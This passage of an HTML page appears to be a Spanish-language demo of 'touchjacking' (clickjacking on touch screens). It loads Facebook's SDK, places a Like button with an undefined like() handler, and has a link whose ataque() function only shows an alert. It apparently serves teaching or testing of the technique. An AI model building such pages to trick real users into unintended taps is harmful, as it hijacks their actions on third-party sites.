src="https://connect.facebook.net/es_LA/sdk.js#xfbml=1&version=v8.0"
nonce="iYSs3t3x">

</script>

<body style="background: blue">
<p>&nbsp;</p>
<a href="" onclick="ataque()">Touchjacking</a>
<p>&nbsp;</p>
<a class="fb-like" data-href="https://developers.facebook.com/docs/plugins/"

data-width="300px" data-layout="standard" onclick="like()"></a>

<script>
function ataque() {
alert("TOUCHJACKING EFECTUADQO");
}
</script>
</body>

</html>
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